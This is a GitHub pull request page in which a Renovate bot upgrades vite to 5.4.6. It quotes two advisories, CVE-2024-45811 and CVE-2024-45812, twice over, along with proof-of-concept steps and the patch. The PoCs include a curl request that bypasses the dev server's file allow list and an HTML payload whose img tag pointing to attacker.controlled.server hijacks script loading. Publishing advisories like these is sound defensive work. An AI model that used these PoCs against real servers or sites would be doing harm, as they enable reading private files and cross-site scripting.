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fix(deps): update dependency vite to v5.4.6 [security] #11580

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merged 1 commit into from
Sep 18, 2024

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@renovate renovate bot commented Sep 17, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vite (source) 5.4.5 -> 5.4.6 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

v5.4.6

Compare Source

Please refer to CHANGELOG.md for details.


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) September 17, 2024 19:55
@Josh-Walker-GM Josh-Walker-GM self-assigned this Sep 18, 2024
@Josh-Walker-GM Josh-Walker-GM added changesets-ok Override the changesets check release:dependency This PR only updates dependencies labels Sep 18, 2024
@Josh-Walker-GM Josh-Walker-GM added this to the next-release milestone Sep 18, 2024
@Josh-Walker-GM Josh-Walker-GM merged commit 29a3dda into main Sep 18, 2024
53 of 58 checks passed
@Josh-Walker-GM Josh-Walker-GM deleted the renovate/npm-vite-vulnerability branch September 18, 2024 14:21
Josh-Walker-GM pushed a commit that referenced this pull request Sep 19, 2024
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [vite](https://vitejs.dev)
([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite))
| [`5.4.5` ->
`5.4.6`](https://renovatebot.com/diffs/npm/vite/5.4.5/5.4.6) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/vite/5.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/5.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/5.4.5/5.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/5.4.5/5.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency
Dashboard for more information.

### GitHub Vulnerability Alerts

####
[CVE-2024-45811](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx)

### Summary
The contents of arbitrary files can be returned to the browser.

### Details
`@fs` denies access to files outside of Vite serving allow list. Adding
`?import&raw` to the URL bypasses this limitation and returns the file
content if it exists.

### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```

####
[CVE-2024-45812](https://redirect.github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3)

### Summary

We discovered a DOM Clobbering vulnerability in Vite when building
scripts to `cjs`/`iife`/`umd` output format. The DOM Clobbering gadget
in the module can lead to cross-site scripting (XSS) in web pages where
scriptless attacker-controlled HTML elements (e.g., an img tag with an
unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack:
GHSA-4vvj-4cpr-p986

### Details

**Backgrounds**

DOM Clobbering is a type of code-reuse attack where the attacker first
embeds a piece of non-script, seemingly benign HTML markups in the
webpage (e.g. through a post or comment) and leverages the gadgets
(pieces of js code) living in the existing javascript code to transform
it into executable code. More for information about DOM Clobbering, here
are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

**Gadgets found in Vite**

We have identified a DOM Clobbering vulnerability in Vite bundled
scripts, particularly when the scripts dynamically import other scripts
from the assets folder and the developer sets the build output format to
`cjs`, `iife`, or `umd`. In such cases, Vite replaces relative paths
starting with `__VITE_ASSET__` using the URL retrieved from
`document.currentScript`.

However, this implementation is vulnerable to a DOM Clobbering attack.
The `document.currentScript` lookup can be shadowed by an attacker via
the browser's named DOM tree element access mechanism. This manipulation
allows an attacker to replace the intended script element with a
malicious HTML element. When this happens, the src attribute of the
attacker-controlled element is used as the URL for importing scripts,
potentially leading to the dynamic loading of scripts from an
attacker-controlled server.

```
const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
```

### PoC

Considering a website that contains the following `main.js` script, the
devloper decides to use the Vite to bundle up the program with the
following configuration.

```
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
```

```
// extra.js
export default "https://myserver/justAnOther.js"
```

```
// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});
```

After running the build command, the developer will get following bundle
as the output.

```
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
```

Adding the Vite bundled script, `dist/index-DDmIg9VD.js`, as part of the
web page source code, the page could load the `extra.js` file from the
attacker's domain, `attacker.controlled.server`. The attacker only needs
to insert an `img` tag with the `name` attribute set to `currentScript`.
This can be done through a website's feature that allows users to embed
certain script-less HTML (e.g., markdown renderers, web email clients,
forums) or via an HTML injection vulnerability in third-party JavaScript
loaded on the page.

```
<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
```

### Impact

This vulnerability can result in cross-site scripting (XSS) attacks on
websites that include Vite-bundled files (configured with an output
format of `cjs`, `iife`, or `umd`) and allow users to inject certain
scriptless HTML tags without properly sanitizing the name or id
attributes.

### Patch

```
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )
```

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

###
[`v5.4.6`](https://redirect.github.com/vitejs/vite/releases/tag/v5.4.6)

[Compare
Source](https://redirect.github.com/vitejs/vite/compare/v5.4.5...v5.4.6)

Please refer to
[CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.4.6/packages/vite/CHANGELOG.md)
for details.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/redwoodjs/redwood).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC44MC4wIiwidXBkYXRlZEluVmVyIjoiMzguODAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
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